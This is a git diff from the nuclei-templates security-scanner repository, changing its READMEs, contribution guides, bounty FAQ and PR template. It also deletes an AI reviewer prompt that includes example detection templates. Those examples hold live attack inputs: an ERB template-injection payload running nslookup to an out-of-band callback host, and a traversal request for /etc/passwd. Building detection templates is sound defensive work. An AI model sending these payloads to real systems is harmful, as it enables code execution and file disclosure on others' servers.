http/exposed-panels/silver-peak-edgeconnect-panel.yaml
http/exposed-panels/sma-opcon-panel.yaml
http/exposed-panels/smoothwall-firewall-panel.yaml
http/exposed-panels/sonicwall-analytics-panel.yaml
http/exposed-panels/sophos-utm-panel.yaml
http/exposed-panels/stormshield-network-security-panel.yaml
http/exposed-panels/thegreenbowvpn-panel.yaml
http/exposed-panels/trend-micro-deep-security-panel.yaml
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
http/exposed-panels/unifi-securitygateway-panel.yaml
http/exposed-panels/wg-easy-panel.yaml
http/exposed-panels/zywall-usg-panel.yaml
http/iot/openremote-detect.yaml
http/misconfiguration/installer/ctrlpanel-installer.yaml
http/misconfiguration/marimo-auth-bypass.yaml
http/takeovers/godaddy-parked-domain.yaml
http/technologies/google-iap-detect.yaml
http/technologies/tibco-businessworks-detect.yaml
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
javascript/cves/2025/CVE-2025-29635.yaml
network/misconfig/open-socks-proxy.yaml
code/cves/2024/CVE-2024-55556.yaml
code/cves/2025/CVE-2025-25291.yaml
code/windows/audit/insecure-powershell-execution-policy.yaml
code/windows/audit/powershell-script-block-logging-disabled.yaml
headless/cves/2025/CVE-2025-29927-HEADLESS.yaml
http/cves/2023/CVE-2023-2256.yaml
http/cves/2023/CVE-2023-22952.yaml
http/cves/2023/CVE-2023-2518.yaml
http/cves/2023/CVE-2023-4284.yaml
http/cves/2023/CVE-2023-49489.yaml
http/cves/2023/CVE-2023-5974.yaml
http/cves/2024/CVE-2024-11740.yaml
http/cves/2024/CVE-2024-13624.yaml
http/cves/2024/CVE-2024-13853.yaml
http/cves/2024/CVE-2024-3032.yaml
http/cves/2024/CVE-2024-3080.yaml
http/cves/2024/CVE-2024-4399.yaml
http/cves/2024/CVE-2024-51378.yaml
http/cves/2024/CVE-2024-52762.yaml
http/cves/2024/CVE-2024-52763.yaml
http/cves/2024/CVE-2024-53991.yaml
http/cves/2024/CVE-2024-54763.yaml
http/cves/2024/CVE-2024-54764.yaml
http/cves/2024/CVE-2024-54767.yaml
http/cves/2024/CVE-2024-57045.yaml
http/cves/2024/CVE-2024-57046.yaml
http/cves/2024/CVE-2024-57049.yaml
http/cves/2024/CVE-2024-57050.yaml
http/cves/2024/CVE-2024-6460.yaml
http/cves/2024/CVE-2024-6651.yaml
http/cves/2024/CVE-2024-6892.yaml
http/cves/2025/CVE-2025-1323.yaml
http/cves/2025/CVE-2025-1661.yaml
http/cves/2025/CVE-2025-2129.yaml
http/cves/2025/CVE-2025-24813.yaml
http/cves/2025/CVE-2025-26319.yaml
http/cves/2025/CVE-2025-29927.yaml
http/default-logins/chirpstack/chirpstack-default-login.yaml
http/default-logins/unify/unify-hipath-default-login.yaml
http/exposed-panels/chirpstack-login.yaml
http/exposed-panels/dbt-docs-panel.yaml
http/exposed-panels/vectoradmin-panel.yaml
http/exposures/files/dnsmasq-config.yaml
http/exposures/files/elastic-kibana-config.yaml
http/exposures/files/gunicorn-config-file.yaml
http/exposures/files/haproxy-config-file.yaml
http/exposures/files/icecast-config.yaml
http/exposures/files/lighttpd-config-file.yaml
http/exposures/files/log4-properties.yaml
http/exposures/files/next-js-config-file.yaml
http/exposures/files/nuxtjs-config-file.yaml
http/exposures/files/vercel-config-file.yaml
http/exposures/logs/vugex-source-detect.yaml
http/misconfiguration/installer/basercms-install.yaml
http/misconfiguration/kentico-13-auth-bypass-wt-2025-0006.yaml
http/misconfiguration/kentico-13-auth-bypass-wt-2025-0011.yaml
http/technologies/apache/apache-hertzbeat-detect.yaml
http/technologies/flutter-web-detect.yaml
http/technologies/oqtane-db-detect.yaml
http/technologies/wordpress/plugins/pagelayer.yaml
http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
http/vulnerabilities/drupal/drupal7-elfinder-rce.yaml
http/vulnerabilities/netgear/netgear-wnr614-auth-bypass.yaml
http/vulnerabilities/other/mockoon-lfi.yaml
http/vulnerabilities/other/siam-xss.yaml
+2 -5
View File
@@ -17,7 +17,6 @@ tags:
- "local"
- "fuzz"
- "bruteforce"
- "txt-service"
# The following templates have been excluded because they have weak matchers and may generate FP results.
# Please feel free to create PR if you can update the templates with strict matchers.
@@ -32,11 +31,9 @@ files:
- http/fuzzing/mdb-database-file.yaml
- http/fuzzing/iis-shortname.yaml
- dns/soa-detect.yaml
- dns/txt-service-detect.yaml
- javascript/enumeration/pop3/pop3-capabilities-enum.yaml
- javascript/enumeration/redis/redis-require-auth.yaml
- dast/vulnerabilities/sqli/time-based-sqli.yaml
- javascript/enumeration/minecraft-enum.yaml
- http/miscellaneous/crypto-address-detect.yaml
- http/vulnerabilities/wp-functions-php-disclosure.yaml
- dns/acme-challenge-detect.yaml
- aaaa-fingerprint.yaml
- javascript/enumeration/minecraft-enum.yaml
-465
View File
@@ -1,465 +0,0 @@
Nuclei-Templates is an open-source project featuring security checks written in YAML format, used by the Nuclei scanner.
You are a reviewer for the GitHub repository: https://github.com/projectdiscovery/nuclei-templates. You will review a Pull Request (PR) diff, which may include new or updated templates, provided at the end of this prompt.
Your objective is to thoroughly analyze the PR diff step-by-step and suggest improvements based solely on the context below. Begin your response by thanking the contributor and including: “You can join our [Discord server](https://discord.com/invite/projectdiscovery). It's a great place to connect with fellow contributors and stay updated with the latest developments. Thank you once again.”
### Nuclei Templates Contribution Guide
When submitting a new template, include these details with a proof of concept (P.O.C):
1. `id`: A concise identifier (3-4 words, e.g., `grafana-unauth-rce`). For CVE templates, use the format `CVE-XXX-XXX`.
2. Filename: Must match the template `id`.
3. `name`: For vulnerability/CVE templates, use the format: `<Vendor> <Product> <Version> - Vulnerability`.
4. `author`: Your GitHub/Twitter username or alias. Optionally, update [contributors.json](https://github.com/projectdiscovery/nuclei-templates/blob/master/contributors.json) with author details.
5. `severity`: Based on CVSS score, adjusted for exploit impact and real-world implications.
6. `description`: A brief summary of the vulnerability.
7. `reference`: Include links to the POC, setup guide, or product details for verification.
Best Practices:
- Specify matcher location (e.g., `part: body` for response body).
- Use `{{cmd}}` or `{{payloads}}` for RCE/injection templates, `{{username}}`/`{{password}}` for authenticated templates, and `{{token}}` for key/token templates.
- For web shell uploads (last resort), use a random filename (`{{randstr}}`) and add the `intrusive` tag.
- Add appropriate tags: `dos` for DoS templates, `auth` for authenticated templates, `cve` and `cve<year>` for CVE templates, `intrusive` for templates modifying configurations or files.
- For XSS templates, include a unique endpoint string with the payload to avoid false positives (e.g., [CVE-2022-24899](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24899.yaml)).
- For SSRF templates, include response-based matchers to reduce false positives from honeypots (see: https://github.com/projectdiscovery/nuclei-templates/issues/7401).
- For time-based SQL injection templates, include a unique endpoint string with duration DSL to avoid false positives from network issues.
Do’s:
- Mark verified templates as `verified: true` and share debug data (redact sensitive server info).
- Include multiple matchers to minimize false positives.
- Provide a vulnerable environment (e.g., via [Vulhub](https://github.com/vulhub/vulhub)) when possible.
- Include an active P.O.C in the template.
Don’t:
- Avoid weak matchers (e.g., strings from GET/POST data) to prevent false positives.
- Do not make unnecessary changes to existing templates.
- Avoid version-based CVE/exploit detection unless a full/partial POC is included. Exceptions (e.g., trending CVEs) require justification.
### Templates Review Guide
#### Functional Validation
- Verify the reference to ensure the POC aligns with the template’s purpose (e.g., an RCE template must demonstrate RCE, not just version detection).
- For XSS templates, confirm a unique endpoint string is included to avoid false positives.
- Ensure sufficient, unique matchers to validate the issue without being overly strict.
- For web templates, include at least two matchers (e.g., response header, status code).
- For SSRF templates, add response-based matchers to counter honeypot triggers.
- For time-based SQL injection templates, include a unique endpoint string with duration DSL.
#### Non-Functional Validation
After functional validation, check:
- Template is in the correct folder, and filename matches `id`.
- `id` is unique, descriptive, and uses 2-3 keywords (e.g., `alumni-management-sqli.yaml`). For CVE templates, the ID should be the CVE itself for example, CVE-2020-0796
- `name` follows the format: `<Company> <Product> <Version> - <Vulnerability Class>` (e.g., `Adobe Coldfusion <=8.0.1 - Cross-Site Scripting`).
- Fix capitalization, typos, or grammatical errors.
- Update `tags`:
- Add vendor names (e.g., `Atlassian` for Jira/Confluence).
- Use `misconfig` for misconfigurations, `oss` for open-source CMS, `oast` for OAST templates, `intrusive` for file uploads or modifications.
- For CVEs, include `cve` and `cveYYYY` (e.g., `cve2022`).
- Tags should not contain spaces
- Use `metadata` for additional info (e.g., `verified: true`, Shodan/FOFA queries).
- Ensure proper `references` (e.g., WordPress plugin links, vendor pages).
- Maintain consistent template structure and remove unnecessary headers/parameters.
- Avoid using GET/POST data as matchers.
- Fix indentation and trailing spaces using `yamllint` or the `validate` argument.
- Assign a teammate for review before merging.
#### Best Practices
- For tech detection templates, consider adding templates for the tech’s panel or default credentials.
- Ensure tag names start with the folder/vulnerability name.
- Create a dedicated folder for technologies with multiple templates.
- Add a `good first issue` label for first-time contributors’ PRs.
- Use the `epic` label for creative templates.
- Do not share vulnerable URLs publicly on GitHub or Discord.
#### Below are examples of existing YAML templates for each protocol, along with their paths. You can use them as references when reviewing templates for the corresponding protocols.
=== dast/vulnerabilities/ssti/oob/erb-erubi-erubis-oob.yaml ===
```
id: erb-erubi-erubis-oob
info:
name: Erb OR Erubi OR Erubis - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK
severity: high
reference:
- https://rubygems.org/gems/erb
- https://rubygems.org/gems/erubis
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- '<%25%3d(`nslookup+-type=SRV+{{interactsh-url}}`)%25>'
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
```
=== http/vulnerabilities/nps/nps-auth-bypass.yaml ===
```
id: nps-auth-bypass
info:
name: NPS - Authentication Bypass
author: SleepingBag945
severity: high
description: |
This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
reference:
- https://mari0er.club/post/nps.html/
metadata:
verified: true
max-request: 1
shodan-query: html:"window.nps"
tags: nps,auth-bypass
http:
- raw:
- |
POST /index/gettunnel HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
auth_key={{md5(unix_time())}}&timestamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"VerifyKey":'
- 'Password":'
- 'Id":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
```
=== http/cves/2021/CVE-2021-41291.yaml ===
```
id: CVE-2021-41291
info:
name: ECOA Building Automation System - Directory Traversal Content Disclosure
author: gy741
severity: high
description: The ECOA BAS controller suffers from a directory traversal content disclosure vulnerability. Using the GET parameter cpath in File Manager (fmangersub), attackers can disclose directory content on the affected device
impact: |
An attacker can exploit this vulnerability to access sensitive files and directories, potentially exposing sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in the ECOA Building Automation System.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41291
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php
- https://www.twcert.org.tw/en/cp-139-5140-6343c-2.html
- https://www.twcert.org.tw/tw/cp-132-5127-3cbd3-1.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-41291
cwe-id: CWE-22
epss-score: 0.02626
epss-percentile: 0.90324
cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ecoa
product: ecs_router_controller-ecs_firmware
tags: cve,cve2021,ecoa,lfi,traversal
http:
- raw:
- |
GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- "root:.*:0:0:"
```
=== code/windows/audit/minimum-password-age-zero.yaml ===
```
id: minimum-password-age-zero
info:
name: Minimum Password Age Set to Zero
author: princechaddha
severity: medium
description: Checks if the minimum password age is set to zero, allowing immediate password changes and potential reuse.
impact: |
Allowing a password age of zero may lead to the rapid reuse of weak passwords, reducing account security.
remediation: |
Set a reasonable minimum password age to prevent users from reusing old passwords frequently.
tags: windows,password,policy,code,windows-audit
self-contained: true
code:
- pre-condition: |
IsWindows();
engine:
- cmd
args:
- /c
pattern: "*.cmd"
source: |
net accounts
matchers-condition: and
matchers:
- type: word
words:
- "Minimum password age (days): 0"
negative: true
- type: word
words:
- "Minimum password age"
```
=== cloud/azure/postgresql/azure-postgresql-storage-autogrow-disabled.yaml ===
```
id: azure-postgresql-storage-autogrow-disabled
info:
name: Azure PostgreSQL Storage Auto-Growth Disabled
author: princechaddha
severity: high
description: |
Ensure that Storage Auto-Growth feature is enabled for your production Azure PostgreSQL database servers. Storage auto-growth prevents your PostgreSQL servers from running out of storage and becoming read-only.
impact: |
Failing to enable Storage Auto-Growth can lead to PostgreSQL servers running out of space, becoming read-only, and disrupting database services.
remediation: |
Enable the Storage Auto-Growth feature on your Azure PostgreSQL servers to prevent potential disruptions and ensure continuous database operation.
reference:
- https://docs.microsoft.com/en-us/azure/postgresql/concepts-storage
tags: cloud,devops,azure,microsoft,postgresql,azure-cloud-config
flow: |
code(1);
for (let ServerData of iterate(template.serverList)) {
ServerData = JSON.parse(ServerData);
set("name", ServerData.Name);
set("resourceGroup", ServerData.ResourceGroup);
code(2);
}
self-contained: true
code:
- engine:
- sh
- bash
source: |
az postgres server list --output json --query '[*].{"Name":name,"ResourceGroup":resourceGroup}'
extractors:
- type: json
name: serverList
internal: true
json:
- '.[]'
- engine:
- sh
- bash
source: |
az postgres server show --name "$name" --resource-group "$resourceGroup" --output json --query 'storageProfile.storageAutogrow'
matchers-condition: and
matchers:
- type: word
words:
- '"Disabled"'
extractors:
- type: dsl
dsl:
- 'name + " in " + resourceGroup + " has Storage Auto-Growth disabled"'
```
=== ssl/c2/gozi-malware-c2.yaml ===
```
id: gozi-malware-c2
info:
name: Gozi Malware C2 - Detect
author: pussycat0x
severity: info
description: |
Gozi is a banking Trojan that has been modified to include new obfuscation techniques, to evade detection. Previous breaches involving Gozi in the healthcare sector led to the compromise of data associated with 3.7 million patients costing $5.55 million.
reference: |
https://github.com/thehappydinoa/awesome-censys-queries#gozi-malware--
metadata:
verified: "true"
max-request: 1
censys-query: 'services.tls.certificates.leaf_data.issuer_dn: "C=XX, ST=1, L=1, O=1, OU=1, CN=\*"'
tags: ssl,tls,c2,ir,osint,malware,gozi
ssl:
- address: "{{Host}}:{{Port}}"
matchers:
- type: word
part: issuer_dn
words:
- "CN=*, OU=1, O=1, L=1, ST=1, C=XX"
extractors:
- type: json
json:
- ".issuer_dn"
```
=== dns/mx-fingerprint.yaml ===
```
id: mx-fingerprint
info:
name: MX Record Detection
author: pdteam
severity: info
description: An MX record was detected. MX records direct emails to a mail exchange server.
reference:
- https://www.cloudflare.com/learning/dns/dns-records/dns-mx-record/
- https://mxtoolbox.com/
classification:
cwe-id: CWE-200
metadata:
max-request: 1
tags: dns,mx
dns:
- name: "{{FQDN}}"
type: MX
matchers:
- type: regex
part: answer
regex:
- "IN\tMX\\t(.+)$"
extractors:
- type: regex
group: 1
regex:
- "IN\tMX\t(.+)"
```
=== file/malware/shimrat-malware.yaml ===
```
id: shimrat-malware
info:
name: ShimRat Malware - Detect
author: daffainfo
severity: info
reference: https://github.com/Yara-Rules/rules/blob/master/malware/RAT_Shim.yar
tags: malware,file
file:
- extensions:
- all
matchers-condition: or
matchers:
- type: word
part: raw
words:
- ".dll"
- ".dat"
- "QWERTYUIOPLKJHG"
- "MNBVCXZLKJHGFDS"
condition: and
- type: word
part: raw
words:
- "Data$$00"
- "Data$$01%c%sData"
condition: and
- type: word
part: raw
words:
- "ping localhost -n 9 /c %s > nul"
- "Demo"
- "Win32App"
- "COMSPEC"
- "ShimMain"
- "NotifyShims"
- "GetHookAPIs"
condition: and
```
=== network/c2/7777botnet.yaml ===
```
id: 7777botnet-detect
info:
name: 7777-Botnet - Detect
author: johnk3r
severity: info
reference:
- https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
metadata:
verified: true
max-request: 1
shodan-query: 'hash:1357418825'
tags: network,c2,ir,osint,cti,darktrack,botnet,tcp
tcp:
- inputs:
- data: "fffc01fffb1ffffa1f00500018fff0fffd01fffd03"
read: 2048
host:
- "{{Hostname}}"
port: 7777
matchers:
- type: word
part: data
words:
- "xlog"
- "in"
condition: and
```
### Instructions for Comments
Think step by step and structure your comments in two sections using GitHub Markdown:
- Required Fixes – List missing or incorrect elements as a checklist (e.g., - [ ] Fix template ID to match filename).
- Other Suggestions – Provide contextual recommendations, but only include suggestions you are 100% confident about.
+2 -2
View File
@@ -21,7 +21,7 @@ This documentation contains a set of guidelines to help you during the contribut
- Take a look at the [Existing Templates](https://github.com/projectdiscovery/nuclei-templates) or search for endpoints before creating new one.
- Take a look at Existing Templates in [GitHub Issues](https://github.com/projectdiscovery/nuclei-templates/issues) and [Pull Request](https://github.com/projectdiscovery/nuclei-templates/pulls) section to avoid duplicate work.
- Take a look at [Templates](TEMPLATE-CREATION-GUIDE.md) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/How-to-Write-Unique-Matchers-in-Nuclei-Templates) Guideline for creating new template.
- Take a look at [Templates](https://nuclei.projectdiscovery.io/templating-guide/) and [Matchers](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers) Guideline for creating new template.
Along with the P.O.C following are the required fields in the info section for submitting new template.
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s
**Don’t**
- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
- Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
- Try to keep the requests per template as low as possible
@@ -1,6 +1,6 @@
# Nuclei Templates Bounty - FAQ
# Nuclei Templates Community Rewards Program - FAQ
## What is the purpose of this bounty program?
## What is the purpose of this rewards program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
@@ -10,17 +10,12 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
2. **Debug Data**: Include debug data to assist with template validation.
3. **Validation Required**: The template will be reviewed and validated before rewards are given.
4. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -70,7 +65,7 @@ Templates may be rejected if they:
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
The rewards program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
+9 -9
View File
@@ -1,4 +1,4 @@
### PR Information
### Template / PR Information
<!-- Explains the information and/or motivation for update or/ creating this templates -->
<!-- Please include any reference to your template if available -->
@@ -6,23 +6,23 @@
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
- References:
### Template validation
### Template Validation
<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
I've validated this template locally?
- [ ] YES
- [ ] NO
- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
#### Additional Details (leave it blank if not applicable)
<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
<!-- Please do NOT include vulnerable host information in pull requests -->
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
### Additional References:
- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+14 -28
View File
@@ -14,11 +14,11 @@ Nuclei Templates
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
<a href="#-contributions">Contributions</a> •
<a href="#-discussion">Discussion</a> •
<a href="#-community">Community</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
</p>
@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 2977 | dhiyaneshdk | 1785 | http | 8434 | info | 4030 | file | 417 |
| panel | 1274 | daffainfo | 868 | cloud | 419 | high | 2248 | dns | 25 |
| xss | 1211 | dwisiswant0 | 804 | file | 417 | medium | 2112 | | |
| wordpress | 1102 | princechaddha | 570 | dast | 255 | critical | 1245 | | |
| exposure | 1054 | ritikchaddha | 550 | workflows | 192 | low | 296 | | |
| wp-plugin | 962 | pussycat0x | 478 | code | 163 | unknown | 55 | | |
| osint | 807 | pikpikcu | 352 | network | 140 | | | | |
| tech | 764 | pdteam | 302 | javascript | 78 | | | | |
| lfi | 746 | ricardomaia | 249 | ssl | 36 | | | | |
| misconfig | 727 | geeknik | 235 | dns | 22 | | | | |
**873 directories, 11997 files**.
**793 directories, 10503 files**.
</td>
</tr>
+15 -29
View File
@@ -20,11 +20,11 @@ Nuclei 模板
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
@@ -42,38 +42,24 @@ Nuclei 模板
<table>
<tr>
<td>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
## Nuclei Templates Top 10 statistics
## Nuclei模板TOP10统计信息
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 2877 | dhiyaneshdk | 1477 | http | 8219 | info | 3948 | file | 404 |
| panel | 1246 | daffainfo | 866 | file | 404 | high | 2135 | dns | 25 |
| wordpress | 1072 | dwisiswant0 | 803 | cloud | 370 | medium | 1840 | | |
| exposure | 1006 | princechaddha | 570 | workflows | 192 | critical | 1197 | | |
| xss | 987 | ritikchaddha | 496 | code | 157 | low | 287 | | |
| wp-plugin | 936 | pussycat0x | 453 | network | 138 | unknown | 43 | | |
| osint | 807 | pikpikcu | 353 | javascript | 65 | | | | |
| tech | 745 | pdteam | 302 | ssl | 30 | | | | |
| lfi | 727 | ricardomaia | 245 | dast | 26 | | | | |
| misconfig | 720 | geeknik | 231 | dns | 22 | | | | |
**873 directories, 11997 files**.
**743 directories, 9960 files**.
</td>
</tr>
+17 -31
View File
@@ -11,11 +11,11 @@ Nuclei テンプレート
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
<table>
<tr>
<td>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
## Nuclei テンプレート トップ10統計
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| タグ | 数 | 著者 | 数 | ディレクトリ | 数 | 重大度 | 数 | 種類 | 数 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
